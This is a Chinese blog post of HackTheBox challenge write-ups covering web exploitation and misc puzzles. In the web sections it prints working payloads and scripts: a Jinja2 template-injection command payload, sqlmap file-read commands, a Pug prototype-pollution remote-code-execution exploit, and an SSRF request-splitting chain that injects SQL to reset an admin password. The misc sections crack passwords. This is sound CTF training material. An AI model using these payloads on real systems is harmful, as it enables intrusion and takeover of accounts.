新版HackTheBox做题记录(WP)

2024-02-21 14:30

本文主要是介绍新版HackTheBox做题记录(WP),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

新版HackTheBox做题记录

  • Challenges
    • Web
      • Emdee five for life
      • Templated
      • Phonebook
      • FreeLancer
      • Gunship
      • Weather App
    • MISC
      • misDIRection
      • Blackhole
      • Eternal Loop
      • Longbottom's Locker
      • Canvas
      • M0rsarchive

2021-4-19
做题小记录,也方便以后自己查看
2021-4-24
更新FreeLancer

2022-02-05
更新Gunship
2022-02-06
更新WEB Weather App
更新MISC misDIRection
2022-02-07
更新MISC Blackhole、Eternal Loop、Longbottom’s Locker、Canvas

Challenges

Web

Emdee five for life

easy 题
加密md5 然后提交 其实就是py小脚本训练 贴下脚本

import requests
import re
import hashliburl = "http://46.101.53.249:32444/"while(1):r = requests.session()resp = r.get(url)code = re.findall("<h3 align='center'>(.*?)</h3>", resp.text)code = code[0]print(code)m = hashlib.md5()b = code.encode(encoding='utf-8')m.update(b)str_md5 = m.hexdigest()print(str_md5)data = {'hash': str_md5}resp1 = r.post(url=url, data=data)print(resp1.text)if ("Too slow!" in resp1.text):continueelse:print(resp1.text)

Templated

easy 题
在这里插入图片描述
flask jinja2 ssti模块注入 开始我用了Arjun扫了下参数没扫到。。然后随便进几个目录发现
在这里插入图片描述
这里解析了 ss 尝试访问下{{config}}
在这里插入图片描述
接下来就是构造payload 来命令执行了
简单思路:找Object 再找warnings.catch_warnings
payload:

{{ "".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat flag*").read() }}

Phonebook

Easy题
进来是一个登录界面
在这里插入图片描述
测试发现如果我们使用*当作账户密码可以直接登入,但是登录之后并获取不到flag,*的有匹配的含义,
比如cat flag11111 我们就可以用cat flag*,思路有了来写个小脚本尝试爆破下账户和密码

import requests
url = "http://46.101.53.249:31174/login"
username=""
data = {"username": username + "*","password": "*"
}
input_data = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","#","$","%","@","!","0","1","2","3","4","5","6","7","8","9","{","}","[","]","_","&","^"," "]
while(1):for i in input_data:username = username + idata = {"username": username + "*","password": "*"}resp = requests.post(url=url,data=data)if("/search" in resp.text):print(data)breakelse:username=username[:-1]

1
账户为reese 同理改下脚本来bp下密码 密码即是flag…(爆了快半小时) 这里就不贴脚本了

FreeLancer

首页有个表单,表单提交的数据一直500,xss也没法利用
在这里插入图片描述
在这里插入图片描述
拿dirb扫一下
在这里插入图片描述
扫到了一个/administrat/ 目录 登录进去是一个登录界面
看下源码有没有提示
在这里插入图片描述
在源码上多注意些注释 <!– 以及一些地址href=
进入/portfolio.php?id=2
手工测试下

/portfolio.php?id=2 and 1=1--+ 回显正常
/portfolio.php?id=2 and 1=2--+ 回显失败

布尔注入
丢进sqlmap里
在这里插入图片描述
dump下数据库
在这里插入图片描述
加密了,查看数据库权限
尝试了–os-shell 也不行
试试能不能读文件,虽然我们没有路径,但linux的web大多数都是放在/var/www/html下

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/index.php

读出来了
把已知的都读一下 看下源码

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/portfolio.php

在这里插入图片描述
从这也能发现那个/administrat/的管理界面

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/administrat/index.php

在这里插入图片描述

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/administrat/panel.php

最后在这个源码中读到了flag,挺折磨人的,开始还以为要读加密的姿势去逆向或者暴力呢,不知道师傅们有没有其他思路

Gunship

download源码, 安装的包 (package.json)

	"dependencies": {"express": "^4.17.1","flat": "5.0.0","pug": "^3.0.0"}

pug:3.0.0 可以利用,存在rce https://github.com/pugjs/pug/issues/3312

利用位置 (routes/index.js)

router.post('/api/submit', (req, res) => {const { artist } = unflatten(req.body);if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {return res.json({'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })});} else {return res.json({'response': 'Please provide us with the full name of an existing member.'});}
});

可以看出向/api/submit 请求的body 传给了unflatten

利用链

{"artist.name":"Haigh","__proto__.block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('$(ls | grep flag)')"}
}

在这里插入图片描述
我们使用$(ls | grep flag)可以将报错信息带出来,也是无回显rce的一个小trick

cat flag

		{"artist.name":"Haigh","__proto__.block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('$(cat flagOUpyU)')"}}

在这里插入图片描述
exp:

import requestsTARGET_URL = 'http://157.245.40.206:30563'# first : $(ls | grep flag)
r = requests.post(TARGET_URL+'/api/submit', json = 		{"artist.name":"Haigh","__proto__.block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('$(cat flagOUpyU)')"}})print(r.status_code)
print(r.text)

Weather App

download源码, 查看路由(routes/index.js)

实现了login、register、/api/weather接口。

从代码上看到register接口有个限制

router.post('/register', (req, res) => {if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {return res.status(401).end();}let { username, password } = req.body;if (username && password) {return db.register(username, password).then(()  => res.send(response('Successfully registered'))).catch(() => res.send(response('Something went wrong')));}return res.send(response('Missing parameters'));
});

判断注册的请求来源必须是127.0.0.1, 应该是要触发ssrf

接着在login中明显看出需要我们登录admin的账户就能get flag

router.post('/login', (req, res) => {let { username, password } = req.body;if (username && password) {return db.isAdmin(username, password).then(admin => {if (admin) return res.send(fs.readFileSync('/app/flag').toString());return res.send(response('You are not admin'));}).catch(() => res.send(response('Something went wrong')));}return re.send(response('Missing parameters'));
});

观察一下与数据库操作有关的文件(database.js)

    async migrate() {return this.db.exec(`DROP TABLE IF EXISTS users;CREATE TABLE IF NOT EXISTS users (id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,username   VARCHAR(255) NOT NULL UNIQUE,password   VARCHAR(255) NOT NULL);INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');`);}

其中username 属于unique约束,并且默认32字节的密码,无法爆破

接着看其余的代码(database.js)

    async register(user, pass) {// TODO: add parameterization and roll publicreturn new Promise(async (resolve, reject) => {try {let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;resolve((await this.db.run(query)));} catch(e) {reject(e);}});}

并没有对参数进行过滤,可以进行拼接。例如
user : admin pass: 1234’) ON CONFLICT(username) DO UPDATE SET password = ‘admin’;–
其中sql语句就变成了

INSERT INTO users (username, password) VALUES ('admin', '1234') ON CONFLICT(username) DO UPDATE SET password = 'admin';--')

当执行冲突时,会update密码。

接下来就是找到一个ssrf点去发送这个post请求包了

看到/api/weather接口 (routes/index.js)

router.post('/api/weather', (req, res) => {let { endpoint, city, country } = req.body;if (endpoint && city && country) {return WeatherHelper.getWeather(res, endpoint, city, country);}return res.send(response('Missing parameters'));
});	

跟进WeatherHelper.getWeather方法(helpers/WeatherHelper.js)

    async getWeather(res, endpoint, city, country) {// *.openweathermap.org is out of scopelet apiKey = '10a62430af617a949055a46fa6dec32f';let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`); if (weatherData.name) {let weatherDescription = weatherData.weather[0].description;let weatherIcon = weatherData.weather[0].icon.slice(0, -1);let weatherTemp = weatherData.main.temp;switch (parseInt(weatherIcon)) {case 2: case 3: case 4:weatherIcon = 'icon-clouds';break;case 9: case 10:weatherIcon = 'icon-rain';break;case 11:weatherIcon = 'icon-storm';break;case 13:weatherIcon = 'icon-snow';break;default:weatherIcon = 'icon-sun';break;}return res.send({desc: weatherDescription,icon: weatherIcon,temp: weatherTemp,});} return res.send({error: `Could not find ${city} or ${country}`});}

其中进行HttpHelper.HttpGet请求,参考Node中的Request Splitting。

可以构造一个分隔的payload来发送请求
需要将空格编码为\u0120 、 \r 编码为 \u010d 、 \n编码为 \u010A 、其余字符进行url编码

exp:

import requestsurl = "http://68.183.45.200:31945"username = 'admin'
password = "1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
parseUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
parsePassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
contentLength = len(parseUsername) + len(parsePassword) + 19
endpoint =  '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHOST:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str(contentLength) + '\u010D\u010A\u010D\u010Ausername=' + parseUsername + '&password=' + parsePassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol='
r = requests.post(url + '/api/weather', json={'endpoint': endpoint, 'city': 'chengdu', 'country': 'CN'})
print(r)

之后直接登录admin即可
在这里插入图片描述

MISC

misDIRection

download文件,unzip解压发现其中都是空的文件,但其中部分文件夹中具有数字标识, 范围从1-36
在这里插入图片描述
将有数字的进行过滤出来,并整理成如下格式
在这里插入图片描述
对第二位进行排序,需要将1补成01、2补成02,直接用bash命令排序了,sore msg.txt -k 2
在这里插入图片描述
得到排列好的字母,按顺序将字母拼接,再进行base64解密即可
exp:

file = "msg4.txt"
secret = ""
with open(file, "r") as f:data = f.readlines()for item in data:secret += item.split(" ")[0]print(secret)

在这里插入图片描述

Blackhole

download下文件,file查看文件类型,发现是jpg文件

使用binwalk无果,使用stegcracker爆破

在这里插入图片描述
爆破出来密码,从图中也能猜出来(脑洞)
使用 steghide extract -sf file 解密文件
得出flag.txt, 特征和积累看的出来是base64套娃,

在这里插入图片描述
https://www.boxentriq.com/code-breaking/cipher-identifier

这个能在线查看密文的类型,发现是凯撒在这里插入图片描述
使用在线网站解密,偏移14位即可
https://cryptii.com/
在这里插入图片描述

Eternal Loop

套娃,压缩包里面的文件名是该压缩包的密码。写个脚本一直解压

import zipfilename = "37366.zip"
while 1:zFile = zipfile.ZipFile(r'D:\Temp\HTB\MISC\Eternal Loop\{}'.format(name), "r")name = zFile.namelist()[0]password = zFile.namelist()[0].split(".")[0]print(zFile.namelist()[0])zFile.extract(zFile.namelist()[0], r"D:\Temp\HTB\MISC\Eternal Loop", pwd=bytes(password, 'utf-8'))

最后解压到6969.zip报错,去爆破下zip密码在这里插入图片描述

fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt 6969.zip

在这里插入图片描述

解压 file 发现是SQL文件,直接

strings DoNotTouch | grep "HTB"

在这里插入图片描述

Longbottom’s Locker

解压压缩包
其中网站源码逻辑如下,(index.html)

<script>document.getElementById('neville-locker-form').addEventListener('submit', function(e) {e.preventDefault();var passphrase = document.getElementById('passwd').value,encryptedMsg = '4cce4470203e10b395ab1787a22553a5b2503d42a965da813676d929cc16f76cU2FsdGVkX19FvUyhqWoQKHXNLBL64g8acK4UQoP6XZQ/n4MRL3rgQj8TJ/3r8Awtxte2V9s+RLfQHJOHGwYtctqRa/H2BetmxjwGG+LYKUWC8Z6WBoYbecwtATCOuwewnp+VKBzsWLme+3BZyRgKEA==',encryptedHMAC = encryptedMsg.substring(0, 64),encryptedHTML = encryptedMsg.substring(64),decryptedHMAC = CryptoJS.HmacSHA256(encryptedHTML, CryptoJS.SHA256(passphrase).toString()).toString();if (decryptedHMAC !== encryptedHMAC) {alert('Bad passphrase!');return;}var plainHTML = CryptoJS.AES.decrypt(encryptedHTML, passphrase).toString(CryptoJS.enc.Utf8);document.write(plainHTML);document.close();});
</script>

HMAC是一个基于Hash函数的,逆不出来,最终plainhtml也需要输入的信息进行解码渲染flag,只能找其他思路

socute.jpg binwalk 分离出一个zip,解压得到donotshare

(lp1
(lp2
(S' '
I163
tp3
aa(lp4
(S' '
I1
tp5
a(S'.'
I1
tp6
a(S'd'
I1
tp7
a(S'8'
I4
tp8
a(S'b'
I1
tp9
a(S'.'
I1
tp10
a(S' '
I12

Google到了该字符类似于一个符号横幅。用下面读取并打印输出得

import picklef = open('donotshare', 'rb')o = pickle.load(f)outstr = ''
for line in o:for char,n in line:outstr += char*noutstr += '\n'
print(outstr)

在这里插入图片描述
Gu1d0-v4N-R055Um, 输入即可得到flag

Canvas

在js中被编码了,去解开js的编码,可以看到大致逻辑,在浏览器中打断点可以看出用户名和密码都是admin,之后渲染了一个canvas,从js中最后一行找到找个canvas的十六进制
进行十六进制转ASCII

在这里插入图片描述

class Converter(object):@staticmethoddef to_ascii(h):list_s = []for i in range(0, len(h), 2):list_s.append(chr(int(h[i:i+2], 16)))return ''.join(list_s)@staticmethoddef to_hex(s):list_h = []for c in s:list_h.append(str(hex(ord(c))[2:]))return ''.join(list_h)print(Converter.to_ascii("4854427b57334c63306d335f37305f4a3456343543523170375f6433306246753543343731304e7da"))

M0rsarchive

每一层有一个pwd.png和一个压缩包,pwd.png是一个彩色条纹和圆点的非常小的图像,也就是摩斯密码,套了很多很多层,写脚本去识别摩斯密码,并递归解压。

参考:https://sequr.be/blog/2019/11/m0rsarchive/
exp:


def getMorse(image):"""Get morse out of imageThis assumes the background colour is static and morse code has a different colour.Morse code can be in any colour, as long as it is not the same as the top-left pixel.>>> getMorse('pwd.png')['----.']"""from PIL import Imageimport reim = Image.open(image, 'r')chars = []background = im.getdata()[0]for i, v in enumerate(list(im.getdata())):if v == background:chars.append(" ")else:chars.append("*")# print "{0: <4}: {1: <15} ({2})".format(i, v, "[-] BG" if v == background else "[+] FG")output =  "".join(chars)# Clean output by removing whitespace front and back# Then make dash out of every combination of 3 dots# Convert dots to actual dot# Convert whitespace between letters (i.e. >1 bg pixel) to seperator# Remove whitespace# Return list of lettersoutput = re.sub(r'^\s*', '', output)output = re.sub(r'\s*$', '', output)output = re.sub(r'\*{3}', '-', output)output = re.sub(r'\*', '.', output)output = re.sub(r'\s{2,}', ' | ', output)output = re.sub(r'\s', '', output)output = output.split('|')return outputdef getPassword(morse):"""Decode morseConvert morse back into text.Takes list of letters as input, returns converted text.Note that challenge uses lowercase letters.>>> getPassword(['----.'])'9'"""MORSE_CODE_DICT = {'.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D','.': 'E', '..-.': 'F', '--.': 'G', '....': 'H','..': 'I', '.---': 'J', '-.-': 'K', '.-..': 'L','--': 'M', '-.': 'N', '---': 'O', '.--.': 'P','--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T','..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X','-.--': 'Y', '--..': 'Z', '-----': '0', '.----': '1','..---': '2', '...--': '3', '....-': '4', '.....': '5','-....': '6', '--...': '7', '---..': '8', '----.': '9','-..-.': '/', '.-.-.-': '.', '-.--.-': ')', '..--..': '?','-.--.': '(', '-....-': '-', '--..--': ','}for item in morse:return "".join([MORSE_CODE_DICT.get(item) for item in morse]).lower()def main():""" Auto startUsed for automation.Automatically call methods and use 'pwd.png' as input image."""print (getPassword(getMorse("pwd.png")))if __name__ == "__main__":main()

并使用sh脚本去循环执行

#!/bin/bashRESULT=0while [ $RESULT -eq 0 ]
doPASSWORD="$( python3 /root/桌面/HTB/MISC/M0rsachive/exp.py )"ZIPFILE="$( ls *.zip )"unzip -P "$PASSWORD" "$ZIPFILE"RESULT=$?echo "Unzipped $ZIPFILE using password $PASSWORD ($RESULT)"cd flag
done

由于路径也过于长, 使用find也查不出来最外层的flag

$ find . -iname "flag" -type f -exec cat {} \;
cat: ./flag/flag/[...]/flag/flag/flag: File name too long

利用脚本:

while [ $? -eq 0 ]; do cd flag/; done
cat flag

在这里插入图片描述

这篇关于新版HackTheBox做题记录(WP)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/732096

相关文章

Node.js学习记录(二)

目录 一、express 1、初识express 2、安装express 3、创建并启动web服务器 4、监听 GET&POST 请求、响应内容给客户端 5、获取URL中携带的查询参数 6、获取URL中动态参数 7、静态资源托管 二、工具nodemon 三、express路由 1、express中路由 2、路由的匹配 3、路由模块化 4、路由模块添加前缀 四、中间件

记录每次更新到仓库 —— Git 学习笔记 10

记录每次更新到仓库 文章目录 文件的状态三个区域检查当前文件状态跟踪新文件取消跟踪(un-tracking)文件重新跟踪(re-tracking)文件暂存已修改文件忽略某些文件查看已暂存和未暂存的修改提交更新跳过暂存区删除文件移动文件参考资料 咱们接着很多天以前的 取得Git仓库 这篇文章继续说。 文件的状态 不管是通过哪种方法,现在我们已经有了一个仓库,并从这个仓

学习记录:js算法(二十八):删除排序链表中的重复元素、删除排序链表中的重复元素II

文章目录 删除排序链表中的重复元素我的思路解法一:循环解法二:递归 网上思路 删除排序链表中的重复元素 II我的思路网上思路 总结 删除排序链表中的重复元素 给定一个已排序的链表的头 head , 删除所有重复的元素,使每个元素只出现一次 。返回 已排序的链表 。 图一 图二 示例 1:(图一)输入:head = [1,1,2]输出:[1,2]示例 2:(图

perl的学习记录——仿真regression

1 记录的背景 之前只知道有这个强大语言的存在,但一直侥幸自己应该不会用到它,所以一直没有开始学习。然而人生这么长,怎就确定自己不会用到呢? 这次要搭建一个可以自动跑完所有case并且打印每个case的pass信息到指定的文件中。从而减轻手动跑仿真,手动查看log信息的重复无效低质量的操作。下面简单记录下自己的思路并贴出自己的代码,方便自己以后使用和修正。 2 思路整理 作为一个IC d

SSM项目使用AOP技术进行日志记录

本步骤只记录完成切面所需的必要代码 本人开发中遇到的问题: 切面一直切不进去,最后发现需要在springMVC的核心配置文件中中开启注解驱动才可以,只在spring的核心配置文件中开启是不会在web项目中生效的。 之后按照下面的代码进行配置,然后前端在访问controller层中的路径时即可观察到日志已经被正常记录到数据库,代码中有部分注释,看不懂的可以参照注释。接下来进入正题 1、导入m

flume系列之:记录一次flume agent进程被异常oom kill -9的原因定位

flume系列之:记录一次flume agent进程被异常oom kill -9的原因定位 一、背景二、定位问题三、解决方法 一、背景 flume系列之:定位flume没有关闭某个时间点生成的tmp文件的原因,并制定解决方案在博主上面这篇文章的基础上,在机器内存、cpu资源、flume agent资源都足够的情况下,flume agent又出现了tmp文件无法关闭的情况 二、

Linux常用工具与命令日常记录(长期更新)

Linux常用工具与命令日常记录(长期更新) 目录 1.本地复制到远程2.Linux压缩拆包与解压3.生成随机密码4.ubuntu默认Python版本设置5.计算当前文件夹中文件数量6.windows中编写shell脚本,在Linux运行出错7.history 历史命令显示时间用户8.Ubuntu18.04设置源、网卡9.Ubuntu18.04设置网卡10.Ubuntu:自定义开

Excel和Word日常使用记录:

Excel使用总结 表格颜色填充: 合并单元格: 选中你要合并的单元格区域。按下快捷键 Alt + H,然后松开这些键。再按下 M,接着按 C。这个组合键执行的操作是:Alt + H:打开“主页”选项卡。M:选择“合并单元格”选项。C:执行“合并并居中”操作。 插入行: 在Excel中,插入一行的快捷键是:Windows:选择整行(可以点击行号)。按下 Ctrl + Sh

野火霸天虎V2学习记录

文章目录 嵌入式开发常识汇总1、嵌入式Linux和stm32之间的区别和联系2、stm32程序下载方式3、Keil5安装芯片包4、芯片封装种类5、STM32命名6、数据手册和参考手册7、什么是寄存器、寄存器映射和内存映射8、芯片引脚顺序9、stm32芯片里有什么10、存储器空间的划分11、如何理解寄存器说明12、如何操作寄存器的某一位 STM32F407芯片学习1、stm32单片机启动流程s

【20240907问题记录(未解决)】Conda环境问题:SSH与本地环境变量不一致

Conda 允许用户在同一系统上创建多个独立的Python环境。然而,最近遇到了一个奇怪的问题:通过SSH连接到远程Ubuntu机器时,Conda环境变量的行为与本地机器不一致。以下是具体遇到的问题: 1. 问题描述 在本地Ubuntu机器上,我的conda的python版本是3.6,而pip版本可以通过命令 pip --version 查看,显示为: pip 21.3.1 from /ho